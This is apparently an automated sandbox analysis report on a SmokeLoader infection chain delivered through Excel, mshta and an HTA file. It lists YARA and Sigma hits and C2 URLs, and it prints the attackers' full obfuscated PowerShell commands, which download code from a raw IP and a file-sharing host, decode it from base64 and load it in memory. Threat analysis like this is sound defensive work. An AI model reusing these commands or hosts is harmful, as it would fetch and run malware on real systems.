{"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat[1].hta	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000022.00000002.567719148.0000000000261000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: powershell.exe PID: 2104	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2104	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x15801:$b2: ::FromBase64String( 0x166f5:$b2: ::FromBase64String( 0x17ec0:$b2: ::FromBase64String( 0x389a0:$b2: ::FromBase64String( 0x391a8:$b2: ::FromBase64String( 0x4d8d7:$b2: ::FromBase64String( 0x55d56:$b2: ::FromBase64String( 0x5a6a1:$b2: ::FromBase64String( 0x5ad3a:$b2: ::FromBase64String( 0x5c51d:$b2: ::FromBase64String( 0x5cbb5:$b2: ::FromBase64String( 0x6927f:$b2: ::FromBase64String( 0x85382:$b2: ::FromBase64String( 0x85a1b:$b2: ::FromBase64String( 0x8e4d5:$b2: ::FromBase64String( 0x8eb3c:$b2: ::FromBase64String( 0x155b9:$b3: ::UTF8.GetString( 0x164be:$b3: ::UTF8.GetString( 0x17cc7:$b3: ::UTF8.GetString( 0x38733:$b3: ::UTF8.GetString( 0x38f3b:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 3836	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3836	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x200e:$b2: ::FromBase64String( 0x26a6:$b2: ::FromBase64String( 0xd5e7:$b2: ::FromBase64String( 0xdc7f:$b2: ::FromBase64String( 0x16726:$b2: ::FromBase64String( 0x16d92:$b2: ::FromBase64String( 0x1e3e8:$b2: ::FromBase64String( 0x1ea80:$b2: ::FromBase64String( 0x22155:$b2: ::FromBase64String( 0x23046:$b2: ::FromBase64String( 0x247f3:$b2: ::FromBase64String( 0x67416:$b2: ::FromBase64String( 0x67c06:$b2: ::FromBase64String( 0x6d4cf:$b2: ::FromBase64String( 0x7664e:$b2: ::FromBase64String( 0x1da1:$b3: ::UTF8.GetString( 0x2439:$b3: ::UTF8.GetString( 0xd37a:$b3: ::UTF8.GetString( 0xda12:$b3: ::UTF8.GetString( 0x164b9:$b3: ::UTF8.GetString( 0x16b25:$b3: ::UTF8.GetString(
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
30.2.aspnet_compiler.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFT

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3224, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat[1].hta

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3648, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS" , ProcessId: 3960, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))", CommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0c

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 3224, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3544, ProcessName: mshta.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAg